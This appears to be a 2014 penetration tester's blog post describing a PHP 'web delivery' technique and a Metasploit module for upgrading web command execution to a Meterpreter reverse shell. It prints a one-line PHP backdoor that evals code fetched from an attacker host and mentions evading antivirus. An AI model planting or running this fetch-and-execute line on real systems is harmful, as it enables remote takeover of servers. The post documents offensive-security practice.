Friday, February 21, 2014

PHP Meterpreter Web Delivery

I recently found myself in a situation where I had command execution through a web application and but wanted to upgrade to a reverse shell that included Meterpreter functionality. I had two roadblocks as I needed to bypass antivirus and some of the local exe's were locked down, such as powershell (sadface), net commands, ipconfig, etc. (sidenote: shoutout to Chris (@obscuresec) for some great ideas on getting around locked down files)

After some research I was able to establish a simple PHP command and control-type scenario where the server would reach out to me and execute whatever code I specified on my attacking machine using a combination of eval and file_get_contents. This way it left a very small footprint (one line) on the target machine and I was able to execute larger blocks of code as my initial command execution bug was limited by length. The PHP code went something like this:

<?php eval(file_get_contents('http://attacker/boom.txt'); ?>

This way I had no size limitations and had access to all the functionality of PHP, which is quite a bit. I ended up enumerating the internal network using PHP to do things like scan ports, grab internal web pages, etc.

All this to say, it got me thinking and after a quick refresher, I dove back into ruby world to try to hack together a metasploit module that will automate this and provide the elusive meterpreter. The super flexible, ninja module structure credit goes to Ben Campbell (@meatballs__).

Simply configure the options

..and execute the printed command on the targeted system

I have added support for python and combined this module with the psh_web_delivery module. The resulting module has been merged into the metasploit framework. You can find the module here.


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    1. If your target is x64, you will either need to use an x64 msf payload or run the x86 version of powershell if you payload is x86. Either way, the powershell process must match your payload.

  2. I tested the PSH further and it does work. Just make sure you're using the correct powershell architecture if you're having issues.